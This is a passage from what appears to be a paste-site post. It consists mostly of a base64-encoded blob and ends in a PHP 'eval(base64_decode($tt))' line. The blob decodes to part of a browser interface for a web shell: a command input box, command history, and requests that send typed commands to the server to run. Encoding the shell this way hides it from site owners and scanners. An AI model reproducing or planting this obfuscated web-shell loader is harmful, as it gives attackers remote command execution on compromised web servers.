gICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQuYmx1cigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gY29tbWFuZEhpc3RvcnlbaGlzdG9yeVBvc2l0aW9uXTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICdUYWInOgogICAgICAgICAgICAgICAgICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgICAgICAgICBmZWF0dXJlSGludCgpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gaW5zZXJ0VG9IaXN0b3J5KGNtZCkgewogICAgICAgICAgICAgICAgY29tbWFuZEhpc3RvcnkucHVzaChjbWQpOwogICAgICAgICAgICAgICAgaGlzdG9yeVBvc2l0aW9uID0gY29tbWFuZEhpc3RvcnkubGVuZ3RoOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBtYWtlUmVxdWVzdCh1cmwsIHBhcmFtcywgY2FsbGJhY2spIHsKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFF1ZXJ5U3RyaW5nKCkgewogICAgICAgICAgICAgICAgICAgIHZhciBhID0gW107CiAgICAgICAgICAgICAgICAgICAgZm9yICh2YXIga2V5IGluIHBhcmFtcykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAocGFyYW1zLmhhc093blByb3BlcnR5KGtleSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGEucHVzaChlbmNvZGVVUklDb21wb25lbnQoa2V5KSArICI9IiArIGVuY29kZVVSSUNvbXBvbmVudChwYXJhbXNba2V5XSkpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHJldHVybiBhLmpvaW4oIiYiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKICAgICAgICAgICAgICAgIHhoci5vcGVuKCJQT1NUIiwgdXJsLCB0cnVlKTsKICAgICAgICAgICAgICAgIHhoci5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICB4aHIub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0ICYmIHhoci5zdGF0dXMgPT09IDIwMCkgewogICAgICAgICAgICAgICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJlc3BvbnNlSnNvbiA9IEpTT04ucGFyc2UoeGhyLnJlc3BvbnNlVGV4dCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYWxsYmFjayhyZXNwb25zZUpzb24pOwogICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkVycm9yIHdoaWxlIHBhcnNpbmcgcmVzcG9uc2U6ICIgKyBlcnJvcik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9OwogICAgICAgICAgICAgICAgeGhyLnNlbmQoZ2V0UXVlcnlTdHJpbmcoKSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHdpbmRvdy5vbmxvYWQgPSBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoZWxsLWNtZCIpOwogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzaGVsbC1jb250ZW50Iik7CiAgICAgICAgICAgICAgICB1cGRhdGVDd2QoKTsKICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmZvY3VzKCk7CiAgICAgICAgICAgIH07CiAgICAgICAgPC9zY3JpcHQ+CiAgICA8L2hlYWQ+CgogICAgPGJvZHk+CiAgICAgICAgPGRpdiBpZD0ic2hlbGwiPgogICAgICAgICAgICA8cHJlIGlkPSJzaGVsbC1jb250ZW50Ij4KICAgICAgICAgICAgICAgIDxkaXYgaWQ9InNoZWxsLWxvZ28iPgoKJiN4MjA7JiN4NjQ7JiN4MjA7JiN4NzM7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NzM7JiN4NjI7JiN4MjA7JiN4NjQ7JiN4MjA7JiN4NzM7JiN4MkU7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NzM7JiN4NzM7JiN4NzM7JiN4MjA7JiN4NzM7JiN4NzM7JiN4NzM7JiN4NzM7JiN4NzM7JiN4MjA7JiN4NjQ7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NjQ7JiN4MjA7JiN4NjQ7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NzM7JiN4NTM7JiN4NTM7JiN4NTM7JiN4NzM7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4QTsmI3g1MzsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3g1MzsmI3gyMDsmI3g1MzsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3g3RTsmI3g0RjsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3hBOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDYwOyYjeDYyOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeEE7JiN4NTM7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NTM7JiN4MjA7JiN4NTM7JiN4MjA7JiN4NzM7JiN4NTM7JiN4NTM7JiN4NEY7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NTM7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NTM7JiN4MjA7JiN4NzM7JiN4NTM7JiN4NTM7JiN4NTM7JiN4MjA7JiN4NTM7JiN4MjA7JiN4NTM7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NTM7JiN4MjA7JiN4MjA7JiN4MjA7JiN4QTsmI3g1MzsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3g0RjsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3g1MzsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3gyMDsmI3g1MzsmI3gyMDsmI3gyMDsmI3gyMDsmI3hBOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDRGOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDIwOyYjeDUzOyYjeDIwOyYjeDJFOyYjeDQ0OyYjeDVBOyYjeEE7JiN4NTA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NTA7JiN4MjA7JiN4NTA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NTA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NTA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NTA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4NTA7JiN4MjA7JiN4NTA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjI7JiN4NzM7JiN4NzM7JiN4NzM7JiN4MjI7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4MjA7JiN4QTsmI3g2RDsmI3g2MTsmI3g3NDsmI3g2ODsmI3g2OTsmI3g2RjsmI3gyRTsmI3g2NDsmI3g3QTsmI3g0MDsmI3g3MDsmI3g2RDsmI3gyRTsmI3g2RDsmI3g2NTsmI3gyMDsKICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L3ByZT4KICAgICAgICAgICAgPGRpdiBpZD0ic2hlbGwtaW5wdXQiPgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0ic2hlbGwtY21kIiBpZD0ic2hlbGwtcHJvbXB0IiBjbGFzcz0ic2hlbGwtcHJvbXB0Ij4/Pz88L2xhYmVsPgogICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgaWQ9InNoZWxsLWNtZCIgbmFtZT0iY21kIiBvbmtleWRvd249Il9vblNoZWxsQ21kS2V5RG93bihldmVudCkiLz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvYm9keT4KCjwvaHRtbD4gPHNwYW4+PC9zcGFuPgo=
  3. ";eval(base64_decode($tt));
Add Comment
Please, Sign In to add comment